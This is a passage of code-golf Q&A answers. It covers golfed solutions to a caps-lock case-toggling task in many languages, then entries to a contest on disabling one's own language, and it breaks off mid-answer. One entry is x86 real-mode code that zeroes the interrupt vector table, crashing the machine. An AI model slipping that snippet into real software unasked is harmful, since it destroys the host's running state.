online!](https://tio.run/##XY7BjoMgEIbv8xTegFabxaa7wYQDkcFiFDfIPoCHtrc2afr@LpW6yfbAwMz/zc9/vt0f9@laXM7pMc/1UXlVB/RUCMFM3kAjSUbAo9J0kxOqGGEGnOTQx6OHzEqeRxasoYbayjIpyUR2g9/9tYqwcEQXN4oesBsxsr2UPE0b6irHZKKjs9vyBYJWWvXM8/JlMGKHdajViLRlsNyfh0p8sNUj4e12X75k8VXxsnzXi1XPNBr104W3DOh0@mpN47Q1z6oH@PbWhU0evO1ps6Dz/DiNYfpffgE "Fortran (GFortran) – Try It Online") Since Fortran has not "advanced" tools for dealing with strings, I came up with this little monster. Indented and commented: ``` CHARACTER(999)F,G !Define input and output strings (up to 999 characters) G=' ' !Fill output with spaces READ(*,'(A)')F !Take input N=1 !Represent the position to be written in output string M=1 !M=-1: Change case; M=1: Do not change case DO I=1,999 IF(F(I:I)=='a'.OR.F(I:I)=='A')THEN !If the character is A... M=-M !Ah-ha - you pressed cPS-LOCK! ELSEIF(M==1)THEN !Case the character is not A, and do not need to change case... G(N:N)=F(I:I) !...only copy the character N=N+1 ELSE !Otherwise... J=IACHAR(F(I:I)) !...get ascii of current character SELECTCASE(J) CASE(65:90) !If is upper case, G(N:N)=ACHAR(J+32) !now is lower case CASE(97:122) !If is lower case, G(N:N)=ACHAR(J-32) !now is upper case CASE DEFAULT !If do not belong to alphabet, G(N:N)=F(I:I) !simply copy the character ENDSELECT N=N+1 ENDIF ENDDO PRINT*,TRIM(G) !Trim out trailing spaces END !That's all folks! ``` [Answer] # [MATL](https://github.com/lmendo/MATL), ~~23~~ 20 bytes ``` 'a A'Yb&Ybt2L)Yo2L(g ``` [Try it online!](https://tio.run/##TVJNb9RADL3zK3xqQIp6WIkDCLGNWlArVhTRHsgBqd7ESbydzISxs2n484tnExA5TDT@eM/veXpUd3q6evvx6t2H8mJbbn@eMoQiK/cX5V43uzdl2Oxet6ebzY/bU/bYEfwauXqGfQyThya8wGHsB4FwpAhqaYe/Z6hDe5m9yq5DP7BD5WCl7Fk6qkHGqiKRZnRuTkUJk3wNoTn3sxdlHVNPDj2yV/LoK8oBrQjrPuFoXECtp03MvievObCABhCqxkhnMHqxWrLuv@j7UM8wBMfKVZ6KhxiUKgXWhcBCzRjTqOs0NR@5HtEJTF2AyhQFsbjCxLrUDGEy7UZA/hBm9q11gWBDOi@QEb2Z5ox0Tg0cwaOOER1EbjuVlTmN58wZQ5AE57ih9@fU1JGn1WAjbyOhQtgfbHABNK0@pLuaW1Tny1AUBkfQ4ZEAF56kDZ2ue/rft1W44jNBTyhmn4CntCaMs205rnMvqvLkmgwUeVXY4TAYtUjaJxZoXzqKwn7pGeAgu2CPxtkhUBXfHtz99RfLTLfFI9x9/heCuwcodt8/FTcl3H/dZn8A "MATL – Try It Online") ### Explanation: ``` 'a A'Yb % form a cell array containing {'a', 'A'} &Yb % split input into substrings, with either of those ('a' or 'A') as delimiters t2L) % extract out the even positioned cells from that result Yo % switch the case of those substrings 2L( % place the result back in even positioned cells of the original cell array g % convert cell array to matrix, concatenating all substrings in the process % implicit output ``` --- Older answer (23 bytes): ["H@'aA'm?~XHx}@w~?Yo]&h](https://tio.run/##TVJNb9QwEL3zK0YcmkvEAakHECIbtVRbUVFEe@geVmI2mSTeOrbxTDYbJPrXt@NNQOTgyPPx3rw37lHs6efq8vPqw6fNRbEptqe361WGZdYXL0/r45/V@FJs/PaiO2231@@f1qfssSP4NZjqGXbRjw4af4T90AcGf6AIommLvyeoffsue5Nd@T4Yi2K8lhpnuKMaeKgqYm4Ga6dUlDDJ1eCbc79xLEaG1JNDj8YJOXQV5YBahHWfcCTOoNrTJmbXk5McDIN4YKqGSGcwOmotafdf9J2vJwjeGjFVnopD9EKVgJGZQEPNENOoyzS1OZh6QMswdh4qVeRZ4wKjkbkm@FG1KwG5vZ@Ma7ULGBuSaYaM6NQ0q6RTajARHMoQ0UI0bSe8MKfxrDqjCJzgrGno4zk1duRoMVjJ20go4Hd7HZwBVavz6S7qFtX5PBT5YAk6PBDgzJO0oZVlT//7tggXfCboCVntY3CU1oRx0i3HZe5ZVZ5c40DRLAo7DEGpmdM@sUT90lGW@kvPAAPfeX00Vg@Gqvz@YO@vvmpmXJePcHvzLwS3D1De/fhSXm/g/luRvQI) Other methods I tried: ``` 0w"@t'aA'm?x~}y?Yo]w]]xv! t'aA'mXHYsot&y*XzcYowf([]H( t'aA'mXHYsoy3Y2m*32*Z~c[]H( ``` [Answer] # [Julia 1.0](http://julialang.org/), 82 bytes ``` s->foldl((b,c)->c∈"aA" ? !b : (print(c+32isletter(c)sign('_'-c)b);b),s,init=1<0) ``` ## Explanation ### De-golfed: ``` function f(s::String)::Bool foldl(s, init=false) do b, c if c ∈ "aA" return !b else print(c + 32 * (isletter(c) & b) * sign('_'-c)) return b end end end ``` `foldl(f, s, init=false)`: takes a function `f` that maps a state and a `Char` `c` to a new state. Applys `f` repeatedly over each `Char` of the string `s`, always passing the state previously returned by `f` back to `f`. `init` is the initial state. Here the state represents whether caps-lock is on. `if c in "aA"`: If `c` is an upper- or lowercase `'a'`, just return the opposite state. `isletter(c) & b`: `Bool`, returns true iff `c` is a letter and `b` indicates, that caps-lock is on. `sign('_'-c)`: `-1` if `c` is lowercase, `1` if `c` is uppercase. `print(c + 32 * (isletter(c) & b) * sign('_'-c))`: `Bool`s act like 0/1 under simple arithmetic operations, so if caps-lock should have an effect, this either adds or substracts 32 from `c`, returning a `Char` with opposite case. Then just print that. [Try it online!](https://tio.run/##ZVLNbtNAEL73KYZcYgsHUbgV2soKICoqimglxAmN1@N4k82u2RkncZ@gz8mLhNnERaj1YW3vznx/O8veWTzd7ZvzPc8umuBql2VVYfLZhfnz8DDBcgKX8KKCM8i6aL1k5uXbN5YdiVDMTM524bPpr@nM5FX@rsoLLqy3cn76/nW@b7LJXUvwu7dmBVUMWw9N2MGyX3cMYUMRRI8d3g9Qh8WrSX5y4HA@y0@0dx7WnXUoNmifonJLNXBvDDE3vXPDs44fLQq02HXkGbYt@QPBHDu@DiphRQMo1hD6mL6rgLFWZmI/TW0bAgQfxLRgPVi5fAqfzJCvITQHXOtZrPRJXwFr1ELy6A0VgFqE9Tpplng0oD2LZNmvyUsBlkECMJk@0gGMdlpL2v2IXoV6gC44K9YUqbiLQciICjsS6FbTxxTLqKa2G1v36JL1AEbTC6z7Alsrx5oubDV0JSC/DIP1i2SUsSEZjpARvd6WU9IhNdgIHqWP6CDaRSs8Mid5Tm9BETjBOdvQ2eEohU7jzSr5IpLeSKiWKpwB1avmq/@iaVFdHEVR6Bw95n/gSd7QyTgg/@c2GhdcEawJWeNj8JRGAuOg4xVH3UdXRUqNO4p2dJiGQ6mZn80OlqhPWspSX8@G8XGInC4Mpvx2627mX56WbT@Xd3D16d85XN1Cef39Y/nhJ9x81Yna/wU "Julia 1.0 – Try It Online") [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal) `s`, ~~12~~ ~~10~~ 9 bytes *Saved 2 bytes by using `ṡ` to split the string with a regex.* *Saved 1 byte by using `⁽` to define the function.* ``` `a|A`ṡ⁽Nẇ ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=s&code=%60a%7CA%60%E1%B9%A1%E2%81%BDN%E1%BA%87&inputs=The%20end%20of%20the%20institution%2C%20mAintenance%2C%20and%20administration%20of%20government%2C%20is%20to%20secure%20the%20existence%20of%20the%20body%20politic%2C%20to%20protect%20it%2C%20and%20to%20furnish%20the%20individuals%20who%20compose%20it%20with%20the%20power%20of%20enjoying%20in%20safety%20and%20tranquility%20their%20natural%20rights%2C%20and%20the%20blessings%20of%20life%3A%20and%20whenever%20these%20great%20objects%20are%20not%20obtained%2C%20the%20people%20have%20a%20right%20to%20alter%20the%20government%2C%20and%20to%20take%20measures%20necessary%20for%20their%20safety%2C%20prosperity%20and%20happiness.&header=&footer=) Explanation: ``` # Implicit input `a|A`ṡ # Split string every instance 'a' OR 'A' ⁽N # Define a function that swaps the casing of strings ẇ # Apply the function to every 2nd string # 's' flag: concatenate top of the stack and print ``` [Answer] # [Haskell](https://www.haskell.org/), 92 bytes ``` import Data.Char g x|x<'['=toLower x|1>0=toUpper x f(a:b)|elem a"aA"=f$g<$>b|1>0=a:f b f x=x ``` [Try it online!](https://tio.run/##HcpBC8IgGAbgu7/iQ4TVJeo65iDWra6dOr2WbpJOMSGD/XdbHR94Jrye2rlarY8hZTohYzdMSGykspSuuTUyh0t467T60O9XXWP8iZkNWrVdtNOewHHk0oixE736P7SGFDNUZKkedpYx2TkLw8/6owLSg@7IvH4B "Haskell – Try It Online") ## Explanation First we declare `g` to be the function that maps lowercase to upper case and uppercase to lowercase. This is actually the majority of our bytecount. Then we define the function `f`. If the input to `f` is of the form `a:b` we do ``` f(a:b) |elem a"aA"=f$g<$>b |1>0=a:f b ``` `a` and `A` match the first pattern and thus we apply `f` to the input with it's case inverted. Otherwise we move `a` out front and apply `f` to `b`. [Answer] # [Husk](https://github.com/barbuz/Husk), 15 bytes ``` ω(F·+otm\↕·≠_'a ``` [Try it online!](https://tio.run/##yygtzv7//3ynhtuh7dr5Jbkxj9qmHtr@qHNBvHri////QzJSFQpLM5OzFZKK8svzFNLyKxSySnMLihXyy1KLFEqA0jmJVZUKKfnpegA "Husk – Try It Online") ### Explanation ``` ω(F·+(tm\)↕·≠_'a) -- example input: "Bar, baz and Foo." ω( ) -- apply the following, until fixpoint is reached: ↕ -- | split string with predicate · _ -- | | the lower-cased character ≠ 'a -- | | is not 'a' -- | : ("B","ar, baz and Foo.") F -- | apply the following to the tuple + -- | | join the elements with.. · ( ) -- | | ..the second element: "ar, baz and Foo." m\ -- | | | swap case: "AR, BAZ AND fOO." t -- | | | tail: "R, BAZ AND fOO." -- | : "BR, BAZ AND fOO." -- : "BR, Bz ND fOO." ``` [Answer] # Rust, 330 bytes ``` fn main(){let mut i=String::new();std::io::stdin().read_line(&mut i);let mut o=vec![];let mut c=false;for l in i.trim().as_bytes(){if*l==65||*l==97{c=!c;}else if c{if l.is_ascii_uppercase(){o.push((*l).to_ascii_lowercase());}else{o.push((*l).to_ascii_uppercase());}}else{o.push(*l);}}println!("{}",String::from_utf8(o).unwrap());} ``` Ungolfed ``` fn main() { let mut input = String::new(); std::io::stdin().read_line(&mut input); let mut output_chars = vec![]; let mut capslock = false; for letter in input.trim().as_bytes() { if *letter == 65 || *letter == 97 { capslock = !capslock; } else if capslock { if letter.is_ascii_uppercase() { output_chars.push((*letter).to_ascii_lowercase()); } else { output_chars.push((*letter).to_ascii_uppercase()); } } else { output_chars.push(*letter); } } println!("{}", String::from_utf8(output_chars).unwrap()); } ``` Since this uses bytes instead of chars in the loop, 65 and 97 are the byte values for 'A' and 'a'. I'm new to Rust, so this might be golfable further. [Answer] # [Japt](https://github.com/ETHproductions/japt) v2.0a0, 16 bytes ``` e/a.*/i_År\l_c^H ``` [Try it](https://ethproductions.github.io/japt/?v=2.0a0&code=ZS9hLiovaV/FclxsX2NeSA==&input=IldoYXQgaGFwcGVucyB3aGVuIHRoZSBDYXBzTG9jayBrZXkgb24geW91ciBrZXlib2FyZCBkb2Vzbid0IGhhdmUgYSBub3RjaCBpbiBpdD8i) --- ## Explanation ``` e :Recursively replace /a.*/i :RegEx /a.*/gi _ :Pass each match through a function Å : Slice off the first character r : Replace \l : RegEx /[A-Za-z]/g _ : Pass each match though a function c^ : Bitwise XOR the character code H : With 32 ``` [Answer] ## PHP 4, 77 76 75 ``` foreach(spliti(a,$argn)as$b)echo$a++&1?strtoupper($b)^strtolower($b)^$b:$b; ``` Split into substrings by `A` (case insensitive) then toogle every second case. [Try it out here](http://sandbox.onlinephpfunctions.com/code/206f5b4a49de3f1343b2b10f0a07614a79caa3b1). --- Old version ``` for(;a&$c=$argn[$i++];)trim($c,aA)?print($c^chr($f*ctype_alpha($c))):$f^=32; ``` walks over the string and toogles a flag if the current char is `a` or `A` else the char gets toogled depending on the flag and echoed. [Answer] # [SNOBOL4 (CSNOBOL4)](http://www.snobol4.org/csnobol4/), ~~141~~ 92 bytes ``` I =INPUT S I ANY("Aa") REM . R =REPLACE(R,&LCASE &UCASE,&UCASE &LCASE) :S(S) OUTPUT =I END ``` [Try it online!](https://tio.run/##JYxBC4IwAEbP@is@PJiCdOoUSIjtIJjJpkTHqYOJsYlbhb9@KZ3e44PvGaU7/To55xVIi6puG59tmlXPKMh4EIOSG46gSCmpyywnEU3CMs8YQdjuSP7Af4xxZhGLfe/eNltrS/qkujr3kNxC8nkWyuArhYKVAjmfTan7CZNYoRVW/V527zRfBgxaGHXYbx8BDqVtLzEqjPbyAw "SNOBOL4 (CSNOBOL4) – Try It Online") Assumes a single line of input. A whopping 49 bytes saved by [@ninjalj](https://codegolf.stackexchange.com/users/267/ninjalj)! Line `S` does all the work, explained below: ``` I # in the subject string I match the following PATTERN: ANY("Aa") # match A or a and REM . R # match the remainder of I, assigning this to R =REPLACE( # replace the PATTERN above with R, ...) # R with swapped cases. :S(S) # and if there was a match, goto S, else goto next line ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 12 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` ìo'½`║â↨╪U?5 ``` [Run and debug it online](https://staxlang.xyz/#p=8d6f27ab60ba8317d8553f35&i=The+quick+brown+fox+jumps+over+the+lazy+dog.%0ACompilation+finished+successfully.%0AWhat+happens+when+the+CapsLock+key+on+your+keyboard+doesn%27t+have+a+notch+in+it%3F%0AThe+end+of+the+institution,+maintenance,+and+administration+of+government,+is+to+secure+the+existence+of+the+body+politic,+to+protect+it,+and+to+furnish+the+individuals+who+compose+it+with+the+power+of+enjoying+in+safety+and+tranquillity+their+natural+rights,+and+the+blessings+of+life%3A+and+whenever+these+great+objects+are+not+obtained,+the+people+have+a+right+to+alter+the+government,+and+to+take+measures+necessary+for+their+safety,+prosperity+and+happiness.%0AaAaaaaAaaaAAaAa&a=1&m=2) It splits on a regex, and then alternately toggles case. Here's the same program, unpacked, ungolfed, and commented. ``` "a|A"|s split on regex /a|A/ rE reverse and explode array to stack W repeat forever... p print top of stack with no newline :~p print top of stack, case inverted, with no newline ``` [Run this one](https://staxlang.xyz/#c=%22a%7CA%22%7Cs%09split+on+regex+%2Fa%7CA%2F%0ArE%09reverse+and+explode+array+to+stack%0AW%09repeat+forever...%0Ap%09print+top+of+stack+with+no+newline%0A%3A%7Ep%09print+top+of+stack,+case+inverted,+with+no+newline&i=The+quick+brown+fox+jumps+over+the+lazy+dog.%0ACompilation+finished+successfully.%0AWhat+happens+when+the+CapsLock+key+on+your+keyboard+doesn%27t+have+a+notch+in+it%3F%0AThe+end+of+the+institution,+maintenance,+and+administration+of+government,+is+to+secure+the+existence+of+the+body+politic,+to+protect+it,+and+to+furnish+the+individuals+who+compose+it+with+the+power+of+enjoying+in+safety+and+tranquillity+their+natural+rights,+and+the+blessings+of+life%3A+and+whenever+these+great+objects+are+not+obtained,+the+people+have+a+right+to+alter+the+government,+and+to+take+measures+necessary+for+their+safety,+prosperity+and+happiness.%0AaAaaaaAaaaAAaAa&a=1&m=2) ]
[Question] [ Try to write some code in your language and make it not satisfying our [criteria of being a programming language](https://codegolf.meta.stackexchange.com/a/2073/25180) any more. A language satisfies our criteria (simplified version for this challenge) of being a programming language if: * It can read user input representing tuples of positive integers in some way. * It can output at least two different possible results depending on the input. * It can take two positive integers and add them (and the result can affect the output). * It can take a positive integer and decide whether it is a prime (and the result can affect the output). * For the purpose of this challenge, any kind of output that isn't [an allowed output method for a normal challenge](https://codegolf.meta.stackexchange.com/q/2447/25180) is ignored. So it doesn't matter whether the program can also play a piece of music, or posting via HTTP, etc. * **Update:** You can also choose one or some of the allowed output methods, and ignore all the others. But you must use the same definition everywhere in the following criteria. And if your program can disable more than one output methods — that worths more upvotes. Examples like making it not able to output, or disabling all the loop constructs so it won't be able to do primality test and making sure the user cannot re-enable them. You should leave a place for inserting new code. By default, it is at the end of your code. If we consider **putting the source code in that place in your answer and running the full code as a complete program** the interpreter of a new language, that language should not satisfy the criteria. But the inserted code must be executed in such a way *like* a language satisfying the criteria: * The inserted code must be grammatically the same as something (say it's a **code block** in the following criteria) that generally do satisfy the criteria, from the perspective of whoever wants to write a syntax highlighter. So it cannot be in a string, comment, etc. * The inserted code must be actually executed, in a way it is supposed to satisfy the criteria. So it cannot be in an unused function or `sizeof` in C, you cannot just execute only a non-functional part in the code, and you cannot put it after an infinite loop, etc. * You can't limit the number of possible grammatically correct programs generated this way. If there is already something like a length limit in the language you are using, it shouldn't satisfy the criteria even if this limit is removed. * You can't modify or "use up" the content of input / output, but you can prevent them from being accessed. * These criteria usually only applies to languages without explicit I/O: + Your code should redirect the user input (that contains informations of arbitrary length) to the inserted code, if a code block isn't usually able to get the user input directly / explicitly in the language you are using. + Your code should print the returned value of the inserted code, if a code block isn't usually able to output things directly / explicitly in the language you are using. + In case you print the returned value, and it is typed in the language you are using, the returned type should be able to have 2 different practically possible values. For example, you cannot use the type `struct {}` or `struct {private:int x;}` in C++. This is popularity-contest. The highest voted *valid* answer (so nobody spotted an error or all errors are fixed) wins. ## Clarifications * You shouldn't modify the code in the text form, but can change the syntax before the code is interpreted or compiled. * You can do other things while the code is running. But the reason that it doesn't satisfy the criteria should be within the inserted code itself. It can error because of the interference of another thread, but not just be killed by another thread. * All the specs basically means it should be *grammatically likely satisfying the criteria if all the built-ins were not changed* but not actually do. It's fine if you find any non-grammatical workarounds, such as passing the parameters to the code block correctly, but make them not able to be used in some way. * Again, **the inserted code must be actually executed.** Code after an **infinite loop** or **crashing** is considered "not actually executed", thus **not valid**. Those answers might be interesting, but there are already some other infinite loop or crashing questions on this site, and you may find a more appropriate one to answer. If not, consider asking a new question. Examples of those questions are: + [Shortest infinite loop producing no output](https://codegolf.stackexchange.com/q/59347/25180) + [Why isn't it ending?](https://codegolf.stackexchange.com/q/24304/25180) + [Loop without 'looping'](https://codegolf.stackexchange.com/q/33196/25180) + [Challenge: Write a piece of code that quits itself](https://codegolf.stackexchange.com/q/16527/25180) + [Ridiculous Runtime Errors](https://codegolf.stackexchange.com/q/6887/25180) + [Crash your favorite compiler](https://codegolf.stackexchange.com/q/7197/25180) ## Leaderboard ``` var QUESTION_ID=61115/*,OVERRIDE_USER=8478*/;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,/*getComments()*/(more_answers?getAnswers():process())}})}/*function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}*/function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),score:s.score,language:a[1],lang:jQuery('<div>').html(a[1]).text(),link:s.share_link})}),e.sort(function(e,s){var r=e.score,a=s.score;return a-r});var s={},r=1,a=null,n=1;e.forEach(function(e){e.score!=a&&(n=r),a=e.score,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",e.n=n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.score).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text())/*,s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}*/});var t=e/*[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o])*/;t.sort(function(e,s){return (e.lang.toUpperCase()>s.lang.toUpperCase())-(e.lang.toUpperCase()<s.lang.toUpperCase())||(e.lang>s.lang)-(e.lang<s.lang)});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{PLACE}}",o.n).replace("{{LANGUAGE}}",o.language).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.score).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<(?:h\d|(?!.*<h\d>)p)>\s*((?:[^,;(\s]| +[^-,;(\s])+)(?=(?: *(?:[,;(]| -).*?)?\s*<\/(h\d|p)>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;float:left}table{width:250px}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/all.css?v=7509797c03ea"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Score</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Sorted by Language</h2> <table class="language-list"> <thead> <tr><td></td><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{PLACE}}</td><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [JavaScript Shell](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey) This will make the language *completely* unusable. ``` clear(this); ``` Isn't it nice how JavaScript has such a nice function to destroy itself? --- This is pretty simple, the `clear` function completely empty an object. `this` refers to the global object clearing out *everything* including constructors and functions. --- Because this clears *everything*, doing *anything*, even defining a literal will throw an error, making the language completely useless: [![Example Usage](https://i.stack.imgur.com/H1GJN.png)](https://i.stack.imgur.com/H1GJN.png) \*REPL environment **not** required. Uses the [**SpiderMonkey**](http://vihan.org/archives/spidermonkey.zip) engine (shell not browser), the original JS engine. [Answer] ## [Emmental](http://esolangs.org/wiki/Emmental) ``` ;#33! ``` I know this isn't code golf, but the right tool for the job, you know... The user's code can be inserted after the `!`. Emmental is an interesting esolang which is *based* on rewriting the interpreter. Every single symbol (including the built-in ones) can be redefined as an arbitrary Emmental program. The language relies on this feature so much that it doesn't provide any looping constructs. Instead, you define recursive commands which appear in their own definitions. This redefinition happens via `!`, which reads a character from the stack, and then reads a string from the stack until it encounters a `;`. The character is then redefined to mean the program represented by that string. That means, we can disable Emmental's looping features by redefining `!` *itself* as the empty program. While all other Emmental code still runs perfectly fine, and many of the criteria of a programming language are still fulfilled, it is impossible to redefine any more symbols. Without this feature (and therefore, without being able to loop), Emmental can no longer test whether a number is prime. [Answer] # PHP One can completely kill PHP by setting the memory limit to 1. It will completely die. Try this: ``` <?php ini_set('memory_limit',1); //code here ``` This shouldn't even throw any error, since there isn't enough memory for that. You can read more about the [`memory_limit` directive](http://php.net/manual/en/ini.core.php#ini.memory-limit) --- If the previous one is invalid, one can use output buffers: ``` <?php ob_start(); //code here ob_clear(); ``` This completely removes any output. Since the output buffer is still open, some other things accidentally left after the code won't be shown as well. --- Using [@fschmengler](https://codegolf.stackexchange.com/users/43220/fschmengler)'s idea: ``` <?php define('OB_START_LEVEL', ob_get_level()); ob_start(function(){return'';}, -1, PHP_OUTPUT_HANDLER_CLEANABLE); //or, for PHP <5.3: //ob_start(create_function('','return"";'), -1, PHP_OUTPUT_HANDLER_CLEANABLE); //code here while(ob_get_level() > OB_START_LEVEL) ob_clear(); ``` This will avoid the problem of deleting the automatically started output buffer, used to catch the output to be compressed. This also prevents that the output buffer is deleted or flushed (sent to the browser). To re-inforce that, an output handler is added, that always returns an empty string. Running `ob_end_flush(); echo "Hello, world!";` won't produce anything, but would send the output with a plain `ob_start();`. Thanks to [@LucasTrzesniewski](https://codegolf.stackexchange.com/users/31881/lucas-trzesniewski) for exposing this issue! [Answer] # x86 machine code in real mode (=> almost any DOS program) ``` 00000000 6a 00 07 b9 00 04 30 c0 31 ff f3 aa |j.....0.1...| 0000000c ``` i.e. ``` push 0 pop es mov cx,400h xor al,al xor di,di rep stosb ``` I hope you weren't too attached to your interrupt table. [Answer] # Java ``` import java.io.*; import java.lang.reflect.*; public class Test2 { public static void main(String[] args) throws Exception { args = new String[0]; System.setOut(new PrintStream(new ByteArrayOutputStream())); System.setErr(new PrintStream(new ByteArrayOutputStream())); System.setIn(new ByteArrayInputStream(new byte[0])); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); Class<?> fdClass = java.io.FileDescriptor.class; Field outField = fdClass.getDeclaredField("out"); outField.setAccessible(true); modifiersField.setInt(outField, outField.getModifiers() & ~Modifier.FINAL); outField.set(null, new FileDescriptor()); Field errField = fdClass.getDeclaredField("err"); errField.setAccessible(true); modifiersField.setInt(errField, errField.getModifiers() & ~Modifier.FINAL); errField.set(null, new FileDescriptor()); Field inField = fdClass.getDeclaredField("in"); inField.setAccessible(true); modifiersField.setInt(inField, inField.getModifiers() & ~Modifier.FINAL); inField.set(null, new FileDescriptor()); System.setSecurityManager(new SecurityManager(){ private boolean exitAllowed = false; public void checkPermission(java.security.Permission perm) { String name = perm.getName(); if(name.equals("setIO") || name.equals("setSecurityManager") || name.equals("writeFileDescriptor") || name.equals("readFileDescriptor") || name.equals("suppressAccessChecks") || (perm instanceof FilePermission && name.startsWith("/proc/self/fd/"))){ throw new SecurityException("Nope"); } if(name.startsWith("exitVM") && !exitAllowed){ exitAllowed = true; System.exit(0); } } public void checkExec(String cmd){ throw new SecurityException("nope"); } }); // program here } } ``` Edit: Counter-countermeasures are making this giant :( Redirects stdin and stdout to null streams and replaces args with an empty array. Also uses enormous amounts of reflection hacks to make sure the standard IO is truly hidden. Finally, it sets a security manager to make sure the standard IO can't be recreated and that makes sure programs can't set the exit code. [Answer] ## Lua ``` _ENV="" ``` In Lua, `_ENV` is the environment that all global variables, functions, tables, etc are stored in. Defining it to just be an empty string means you can't define anything new, and all functions and variables are wiped. This means you can not output anything, take in input, or pretty much do anything. [Answer] **Shakespeare Programming Language** ``` Have Fun Mr Parser. Romeo, a young man of Verona. Juliet, a young lady of Verona. Hamlet, another character which causes the crash. Act I Scene I The crash. [Enter Romeo] [Enter Juliet] [Exit Hamlet] ``` In SPL, the built in parser which is downloaded with the program follows very specific rules as to what can happen in the script. One of such rules is that only two characters can be on stage at once. Also, making a character exit the stage who was never on stage will confuse it. The same goes for adding a character to the stage who is already on stage. When the parser receives an error, it will refuse to do ANYTHING else; you literally have to completely shutdown the program and the parser and then start up everything again. P.S. If you have no idea how this language works, Google it. It's awesome. [Answer] # Smalltalk I'm not sure if this qualifies: ``` Smalltalk := Nil. ``` This deletes the entire run-time environment, hanging the object engine. The only way to fix this is to forcibly terminate the process and restart from backup. For those that don't know, the way [Visual Works] Smalltalk works is slightly weird. It's like a mini-OS. When you start Smalltalk, you load a "memory image" into RAM, and it continues executing from where it left off. The entire Smalltalk IDE is written in Smalltalk and is dynamically modifiable. In particular, `Smalltalk` is a dictionary containing all global variables. Most particularly, every time you declare a new class, a global variable with that name is created, pointing to the `Class` object for your new class. So setting `Smalltalk` to `Nil` (basically null) deletes all classes in the entire system. Even the GUI event handlers go poof. I have no idea why this variable is even writable. Probably because it's a global variable, and therefore exists as an entry inside itself. (Does your head hurt yet? Did I mention that every object has a class, and classes are objects, so every class has a class? The class of a class is called a metaclass, but a metaclass is also an object, which therefore has a class...) You could probably achieve a similar effect by *clearing* the dictionary rather than replacing it with null. Indeed, there's any number of things you could code to delete all the classes in the system, leaving you unable to do anything. But since the actual Smalltalk compiler is also a class... anything that breaks the language also kinda breaks the entire IDE, so... [Answer] # Haskell There are a couple of possibilities here. Boring idea #1: Define `main` to do nothing. Now no matter what other code you write, it can never execute. (Unless you manually run it from the REPL.) Boring idea #2: Define a module with no public exports. Now no matter what other code your write, it can never execute. Interesting idea: Disable all imports. ``` module Fubar where import Prelude () foo = foo -- More code here. ``` Now you can define functions which *are* visible and *can* be run... but they can't do anything. All standard Haskell types and functions are now hidden. (With the exception of a few things *really* deeply hard-wired into the language.) Most particularly, you cannot perform any I/O whatsoever. You also cannot do machine-precision arithmetic. (Since `Int`, `Double`, etc are now undefined.) You *can* still write lambda-calculus functions that do perform some real computation though. You just can't get any data into or out of the thing. But you could of course write another, separate module that calls the `Fubar` module above and does I/O on its behalf (thus proving that the code does execute and does do stuff). Some subtleties: * The dummy `foo = foo` declaration is needed to prevent anybody adding additional imports. (Imports cannot appear *after* declarations.) * There are various non-standard Haskell language extensions that would enable you to climb out of this situation. But language extensions have to be switched on with a compiler pragma at the 